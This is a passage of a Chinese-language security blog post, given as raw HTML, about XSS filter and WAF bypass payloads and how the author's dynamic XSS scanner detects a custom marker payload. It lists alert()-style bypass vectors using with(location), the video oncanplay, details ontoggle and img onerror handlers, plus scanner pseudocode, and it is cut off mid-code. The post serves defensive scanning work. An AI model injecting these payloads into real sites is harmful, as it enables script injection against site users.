class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">40</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">100</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">111</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">99</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">117</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">109</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">101</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">110</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">116</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">46</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">99</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">111</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">111</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">107</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">105</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">101</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">41</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">))</span><span class="com" style="box-sizing: border-box;color: rgb(156, 148, 145);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">//</span></code></span></span></p></li></ol></pre><ul style="list-style-type: square;" class=" list-paddingleft-2"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;"><code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;"><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;line-height: 22px;font-size: 14px !important;">.</span></code>过滤</span></span></p></li></ul><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 0px;padding: 8px 0px 6px;background-color: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);font-size: 10px;line-height: 12px;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">with</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">location</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">alert</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">hash</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li></ol></pre><ul style="list-style-type: square;" class=" list-paddingleft-2"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);line-height: 22px;font-size: 14px !important;"><span style="box-sizing: border-box;line-height: 22px;">html标签过滤、属性名过滤</span></span></p></li></ul><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 0px;padding: 8px 0px 6px;background-color: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);font-size: 10px;line-height: 12px;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;video</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="atn" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">width</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="atv" style="box-sizing: border-box;color: rgb(61, 151, 184);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;0&#34;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="atn" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">height</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="atv" style="box-sizing: border-box;color: rgb(61, 151, 184);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;0&#34;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="atn" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">oncanplay</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">alert</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">`</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">0</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">`</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;source</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="atn" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">src</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="atv" style="box-sizing: border-box;color: rgb(61, 151, 184);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;<a href="http://www.runoob.com/try/demo_source/mov_bbb.mp4" target="_blank">http://www.runoob.com/try/demo_source/mov_bbb.mp4</a>&#34;</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="atn" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">type</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="atv" style="box-sizing: border-box;color: rgb(61, 151, 184);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;video/mp4&#34;</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;/video&gt;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&lt;details</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="atn" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ontoggle</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">alert</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">1</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="atn" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">open</span><span class="tag" style="box-sizing: border-box;color: rgb(242, 44, 64);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&gt;</span></code></span></span></p></li></ol></pre><h4 style="box-sizing: border-box;margin-top: 1.5rem;margin-bottom: 1rem;color: rgb(21, 153, 87);line-height: 1.35;font-size: 18px;white-space: normal;">0x01 动态扫描</h4><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">之前的文章都写过，检测逻辑可以参考：
XSS dynamic detection using PhantomJs: <a href="https://paper.seebug.org/93/" target="_blank">https://paper.seebug.org/93/</a></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">动态分析部分参考：
浅谈动态爬虫与去重: <a href="https://www.anquanke.com/post/id/85298" target="_blank">https://www.anquanke.com/post/id/85298</a></p><h4 style="box-sizing: border-box;margin-top: 1.5rem;margin-bottom: 1rem;color: rgb(21, 153, 87);line-height: 1.35;font-size: 18px;white-space: normal;">0x02 扫描中的bypass</h4><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">为了将 waf bypass 的工作落实到 XSS 扫描中，我加了这样一条规则：</p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 0px;padding: 8px 0px 6px;background-color: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);font-size: 10px;line-height: 12px;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="com" style="box-sizing: border-box;color: rgb(156, 148, 145);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"># 正常 payload</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">1</span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#39;&#34;&gt;&lt;img src=1 onerror=alert(1)&gt;<br/></span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"><br/></span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"># bypass payload</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">1&#39;&#34;&gt;&lt;b bn=bfx(1)&gt;</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">在正常的浏览器中， <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;"><span class="tag" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">&lt;b&gt;</span></code> 标签的 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">bn</span></code> 事件无法触发， <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">bfx</span></code> 函数也不存在。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;">但是，在扫描 xss 的时候，是在我们自己的解析器里完成的！！在我的地盘就得听我的！！</p><p><img class="" data-copyright="0" data-ratio="1" data-s="300,640" style="" data-type="jpeg" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=4403a84e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FSfhB0IDvicQm883KBxJbsCcN3Uj29Qc8oG2r1yhvxE4P3GISFg7dKmK9ZYMCdQyZDzVNkaeJ7b3B6zQ5Ae2lFjw%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 0px;padding: 8px 0px 6px;background-color: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);font-size: 10px;line-height: 12px;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">function</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> bfx</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">code</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">):</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> code </span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">==</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="lit" style="box-sizing: border-box;color: rgb(223, 83, 32);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">1</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;XSS Found!&#34;<br/></span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="str" style="box-sizing: border-box;color: rgb(123, 151, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"><br/></span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">function</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> do_trigger</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">():</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">for</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> element </span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">in</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> document</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">all</span><span class="pun" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;word-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;color: rgb(27, 25, 24);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span class="kwd" style="box-sizing: border-box;color: rgb(102, 102, 234);line-height: 20px;font-size: 13px !important;white-space: inherit 